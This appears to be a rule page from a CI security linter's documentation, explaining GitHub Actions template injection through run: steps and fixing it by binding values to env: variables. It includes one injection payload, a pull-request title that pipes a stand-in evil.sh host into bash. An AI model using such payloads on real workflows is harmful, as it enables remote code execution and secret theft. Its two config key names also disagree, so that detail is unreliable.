Workflow inlines user input into a shell script
Control: Workflow must not inline user input into shell scripts · Config key: workflowMustNotInjectUserInputInScripts
📋 What is this?
A run: step inlines a ${{ github.event.* }} template expression directly into a shell command. The expression value is interpolated by GitHub *before* the shell parses it, so a malicious PR title becomes part of the executed script.
⚠️ Impact
Template injection is the GitHub Actions equivalent of SQL injection. A PR titled foo; curl evil.sh | bash; #` becomes a runtime shell command with the workflow's secrets in scope. This is the #1 cause of secret exfiltration on GitHub Actions over the past two years.
🔧 How to fix
Bind the untrusted value to an env: variable first, then reference the env var from the shell. The shell quotes env-var expansion naturally, breaking the injection.
# .github/workflows/welcome.yml — ❌ Template injectionon: pull_request_targetjobs: welcome: runs-on: ubuntu-latest steps: - run: echo "Welcome ${{ github.event.pull_request.title }}!"# .github/workflows/welcome.yml — ✅ Bind through env:on: pull_request_targetjobs: welcome: runs-on: ubuntu-latest steps: - env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "Welcome $PR_TITLE!"
# .plumber.yamlgithub: controls: workflowMustNotInlineUserInputIntoShell: enabled: true💡 Tips
- The dangerous fields are
github.event.pull_request.*,github.event.issue.*,github.event.comment.*,github.head_ref, andgithub.event.commits[*].message. -
github.repository,github.sha, andgithub.ref_nameare derived from server-trusted state — safer but still worth scoping. - Pair with ISSUE-802 to also catch the trigger side of the same attack.
⚙️ Configuration
This control is configured in .plumber.yaml under the github section:
github:
controls:
workflowMustNotInjectUserInputInScripts:
enabled: trueSee the CLI documentation for the full configuration reference.